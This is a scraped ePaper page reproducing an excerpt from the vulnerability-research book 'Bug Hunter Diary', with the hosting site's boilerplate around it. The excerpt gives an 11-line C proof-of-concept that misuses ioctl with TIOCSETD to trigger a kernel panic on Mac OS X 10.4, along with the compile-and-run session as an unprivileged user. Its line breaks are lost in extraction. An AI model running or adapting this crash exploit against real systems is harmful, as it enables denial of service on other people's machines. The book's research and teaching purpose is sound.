12.07.2015 Views

Bug Hunter Diary

Bug Hunter Diary

Bug Hunter Diary

SHOW MORE
SHOW LESS
  • No tags were found...

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

01 #include 0203 int04 main (void)05 {06 unsigned long ldisc = 0xff000000;0708 ioctl (0, TIOCSETD, &ldisc);0910 return 0;11 }Listing 7-2: POC code (poc.c) I wrote to trigger the bug I found in the kernel of OS XA brand-new MacBook: $1,149. An LED Cinema Display Monitor:$899. Crashing a Mac OS X system with only 11 lines of code: priceless.I then compiled and tested the POC code as an unprivileged user:osx$ uname -aDarwin osx 8.8.3 Darwin Kernel Version 8.8.3: Wed Oct 18 21:57:10 PDT 2006;root:xnu-792.15.4.obj~/RELEASE_I386 i386 i386→osx$ iduid=502(seraph) gid=502(seraph) groups=502(seraph)osx$ gcc -o poc poc.cosx$ ./pocImmediately after executing the POC code, I got the standardcrash screen of Mac OS X, 2 as shown in Figure 7-2.Figure 7-2: Mac OS X kernel panic messageIf such a kernel panic occurs, the details of the crash are addedto a log file in the folder /Library/Logs/. I rebooted the system andopened that file.120 Chapter 7

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!